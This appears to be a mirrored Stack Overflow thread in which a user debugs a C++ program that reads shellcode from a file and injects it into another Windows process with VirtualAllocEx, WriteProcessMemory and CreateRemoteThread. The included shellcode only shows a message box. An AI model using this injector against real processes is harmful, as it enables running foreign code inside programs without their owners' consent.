【问题标题】:How inject shellcode loaded from file?如何注入从文件加载的shellcode?
【发布时间】:2020-10-07 14:56:00
【问题描述】:

我有一个大问题困扰着我,今天让我努力解决问题。我如何从二进制文件加载 shellcode 并在目标进程中正确注入?当仅在程序示例的自己的源代码上使用 shellcode 进行测试时,效果很好。

为什么当 shellcode 来自文件时这不起作用?有人哪天已经遇到过这个问题了?

这是测试的代码(改编自this以显示消息框)>

#include <windows.h>
#include <iostream>
#include <fstream>
#include <future>

using namespace std;

int main(int argc, char** argv) {

    int process_id = atoi(argv[1]);

    //MessageBox
    //char xcode[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\xc\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x1\xda\x8b\x52\x78\x1\xda\x8b\x72\x20\x1\xde\x31\xc9\x41\xad\x1\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x4\x72\x6f\x63\x41\x75\xeb\x81\x78\x8\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x1\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x1\xde\x8b\x14\x8e\x1\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\xc\x59\x50\x51\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x4\xb9\x6f\x78\x41\x0\x51\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd2\x83\xc4\x10\x68\x61\x62\x63\x64\x83\x6c\x24\x3\x64\x89\xe6\x31\xc9\x51\x56\x56\x51\xff\xd0";

    vector<char> xcode;

    ifstream infile;
    infile.open("shellcode.bin", std::ios::in | std::ios::binary);
    infile.seekg(0, std::ios::end);
    size_t file_size_in_byte = infile.tellg();
    xcode.resize(file_size_in_byte);
    infile.seekg(0, std::ios::beg);
    infile.read(&xcode[0], file_size_in_byte);
    infile.close();

    HANDLE process_handle;
    DWORD pointer_after_allocated;
    process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
    if (process_handle == NULL)
    {
        puts("[-]Error while open the process\n");
    }
    else {
        puts("[+] Process Opened sucessfully\n");
    }
    pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pointer_after_allocated == NULL) {
        puts("[-]Error while get the base address to write\n");
    }
    else {
        printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
    }
    if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0)) {
        puts("[+]Injected\n");
        puts("[+]Running the shellcode as new thread !\n");
        CreateRemoteThread(process_handle, NULL, 100, (LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, NULL);
    }
    else {
        puts("Not Injected\n");
    }
    return 0;
}

【问题讨论】:

  • “不起作用”是什么意思?另外,文件中第一个字节的十六进制值是多少?是31还是5C?如果是后者,则将 shellcode 的十六进制表示形式放在文件中,而不是 shellcode 本身。
  • @Botje,thisxcode从文件加载后的内容(xcode.data())。
  • 所以我的猜测是正确的。您创建了一个包含十六进制表示而不是实际二进制的文件。您需要重写文件,使前三个字节具有十六进制值“31 c9 64”。用十六进制编辑器检查。
  • @Botje,是的,我只从源代码复制/粘贴到 bin 文件。
  • 那是错误的。 C 源文件中的文本是实际二进制字节的十六进制表示。编译器解释表示 \x31 并生成一个具有十六进制值 31 的单个字节。创建文件时,您需要进行相同的转换。最简单的方法可能是在二进制模式下使用ofstream,然后您可以再次丢弃该代码。

标签: c++ arrays char code-injection shellcode


【解决方案1】:

这是因为您使用的是sizeof(xcode)。在第一种情况下,它是一个字符串常量,其大小在编译时已知。在您的情况下,第二个 sizeof (xcode) 返回 4 (或 8 取决于架构)。您应该改用 file_size_in_byte。看这段代码:

pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0))

sizeof 在 VirtualAllocEx 和 WriteProcessMemory 中都是没有意义的。考虑替换为文件的大小:

pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, file_size_in_byte, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0], file_size_in_byte, 0))

正如 Botje 所说:
更新 1:您可以改为传递 xcode.data()xcode.size()
更新 2:C++ 转义符号 \x31,四个符号(字节),是二进制字节的 C++ 文本十六进制表示。是人类阅读/编辑的东西。真正的 .bin 文件不应是带有 C++ 转义符号的文本文件,并且可以使用十六进制编辑器进行编辑。

【讨论】:

  • 好发现!我会通过 xcode.data()xcode.size() 来表示它们是相关的。
  • @Botje 谢谢,添加到回答中
  • 感谢您的回答,但即使进行了所有更改,目标进程(notepad.exe 32bit)上的消息框仍然没有显示,并且他崩溃了(像以前一样)。并且文件的内容和char xcode[]在自己的源代码上初始化的一样。
  • 只有在执行上面的代码时才会明白。只有尝试不猜测才是正确的道路。
  • @coringa 请回答我对问题本身的评论。如果文件的第一个字符是反斜杠,则说明文件错误。尤其是因为您的另一个问题表明它是错误的。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-01-26
  • 1970-01-01
相关资源
最近更新 更多